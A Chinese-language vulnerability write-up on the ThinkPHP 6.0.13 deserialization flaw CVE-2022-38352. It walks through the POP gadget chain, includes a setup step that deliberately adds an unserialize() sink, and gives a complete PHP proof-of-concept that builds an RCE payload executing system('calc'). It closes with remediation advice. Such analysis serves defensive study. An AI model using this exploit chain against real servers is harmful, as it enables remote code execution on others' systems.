Thinkphp v6.0.13反序列化(CVE-2022-38352)分析
字数 1351 2025-08-25 22:58:35

ThinkPHP v6.0.13反序列化漏洞(CVE-2022-38352)分析报告

漏洞概述

CVE-2022-38352是ThinkPHP框架v6.0.13版本中存在的一个反序列化漏洞,该漏洞允许攻击者通过精心构造的反序列化数据实现远程代码执行(RCE)。漏洞主要涉及框架的文件系统缓存组件和日志处理机制。

环境搭建

  1. 使用Composer安装ThinkPHP 6.0.13:

    composer create-project topthink/think=6.0.13 tp6
    
  2. 修改app/controller/Index.php添加反序列化点:

    <?php
    namespace app\controller;
    use app\BaseController;
    
    class Index extends BaseController {
        public function index(){
            if($_POST["a"]){
                unserialize(base64_decode($_POST["a"]));
            }
            return "hello";
        }
    }
    

漏洞分析

漏洞触发链

  1. 起始点League\Flysystem\Cached\Storage\AbstractCache类的__destruct()方法

    • 当对象被销毁时,如果$this->autosavefalse,会调用save()方法
  2. Psr6Cache类的save()方法

    • $this->pool可控,可以调用任意类的__call()方法
    • 漏洞利用中调用的是think\log\Channel类的__call()方法
  3. Channel类的__call()方法

    • 当调用不存在的方法时触发
    • 调用log()方法,进而调用record()方法
    • 控制$this->lazyfalse以调用save()方法
  4. Socket类的save()方法

    • $this->logger可控,调用任意类的save()方法
    • 需要绕过check()方法:
      $this->config['force_client_ids'] = true;
      $this->config['allow_client_ids'] = '';
      
    • 控制$this->config['debug']true进入关键分支
  5. Request类的利用

    • 控制$this->appthink\App
    • 设置$this->instances['think\Request'=>new Request()]
    • 控制$this->url为恶意代码
  6. 反射执行任意代码

    • 通过Container类的invokeMethod方法
    • 控制$this->config['format_head'][new \think\view\driver\Php,'display']
    • 最终执行Php::display()方法实现RCE

关键利用点

  1. 反序列化入口:任意反序列化点
  2. POP链构造
    • Psr6Cache → Channel → Socket → Request → Php
  3. 参数控制
    • $this->autosave = false触发save()
    • $this->lazy = false触发save()
    • $this->config数组控制执行流程
    • $this->url存放恶意代码

漏洞利用PoC

<?php

namespace League\Flysystem\Cached\Storage{
    class Psr6Cache{
        private $pool;
        protected $autosave = false;
        public function __construct($exp){
            $this->pool = $exp;
        }
    }
}

namespace think\log{
    class Channel{
        protected $logger;
        protected $lazy = true;
        public function __construct($exp){
            $this->logger = $exp;
            $this->lazy = false;
        }
    }
}

namespace think{
    class Request{
        protected $url;
        public function __construct(){
            $this->url = '<?php system(\'calc\'); exit(); ?>';
        }
    }
    class App{
        protected $instances = [];
        public function __construct(){
            $this->instances = ['think\Request'=>new Request()];
        }
    }
}

namespace think\view\driver{
    class Php{}
}

namespace think\log\driver{
    class Socket{
        protected $config = [];
        protected $app;
        public function __construct(){
            $this->config = [
                'debug'=>true,
                'force_client_ids' => 1,
                'allow_client_ids' => '',
                'format_head' => [new \think\view\driver\Php,'display'],
            ];
            $this->app = new \think\App();
        }
    }
}

namespace{
    $c = new think\log\driver\Socket();
    $b = new think\log\Channel($c);
    $a = new League\Flysystem\Cached\Storage\Psr6Cache($b);
    echo urlencode(base64_encode(serialize($a)));
}

漏洞修复

  1. ThinkPHP 6.1.0及以上版本已移除filesystem组件
  2. 临时修复方案:
    • 升级到最新版本
    • 禁用不可信的反序列化操作
    • 对输入进行严格过滤

参考链接

总结

该漏洞通过精心构造的反序列化链,利用框架多个组件的交互实现了远程代码执行。漏洞利用的关键在于控制多个中间对象的属性,最终通过反射机制执行任意PHP代码。开发人员应当避免使用不可信的反序列化操作,并及时更新框架版本。

ThinkPHP v6.0.13反序列化漏洞(CVE-2022-38352)分析报告 漏洞概述 CVE-2022-38352是ThinkPHP框架v6.0.13版本中存在的一个反序列化漏洞,该漏洞允许攻击者通过精心构造的反序列化数据实现远程代码执行(RCE)。漏洞主要涉及框架的文件系统缓存组件和日志处理机制。 环境搭建 使用Composer安装ThinkPHP 6.0.13: 修改 app/controller/Index.php 添加反序列化点: 漏洞分析 漏洞触发链 起始点 : League\Flysystem\Cached\Storage\AbstractCache 类的 __destruct() 方法 当对象被销毁时,如果 $this->autosave 为 false ,会调用 save() 方法 Psr6Cache类的save()方法 $this->pool 可控,可以调用任意类的 __call() 方法 漏洞利用中调用的是 think\log\Channel 类的 __call() 方法 Channel类的__ call()方法 当调用不存在的方法时触发 调用 log() 方法,进而调用 record() 方法 控制 $this->lazy 为 false 以调用 save() 方法 Socket类的save()方法 $this->logger 可控,调用任意类的 save() 方法 需要绕过 check() 方法: 控制 $this->config['debug'] 为 true 进入关键分支 Request类的利用 控制 $this->app 为 think\App 类 设置 $this->instances 为 ['think\Request'=>new Request()] 控制 $this->url 为恶意代码 反射执行任意代码 通过 Container 类的 invokeMethod 方法 控制 $this->config['format_head'] 为 [new \think\view\driver\Php,'display'] 最终执行 Php::display() 方法实现RCE 关键利用点 反序列化入口 :任意反序列化点 POP链构造 : Psr6Cache → Channel → Socket → Request → Php 参数控制 : $this->autosave = false 触发save() $this->lazy = false 触发save() $this->config 数组控制执行流程 $this->url 存放恶意代码 漏洞利用PoC 漏洞修复 ThinkPHP 6.1.0及以上版本已移除filesystem组件 临时修复方案: 升级到最新版本 禁用不可信的反序列化操作 对输入进行严格过滤 参考链接 ThinkPHP官方Issue CVE官方描述:CVE-2022-38352 总结 该漏洞通过精心构造的反序列化链,利用框架多个组件的交互实现了远程代码执行。漏洞利用的关键在于控制多个中间对象的属性,最终通过反射机制执行任意PHP代码。开发人员应当避免使用不可信的反序列化操作,并及时更新框架版本。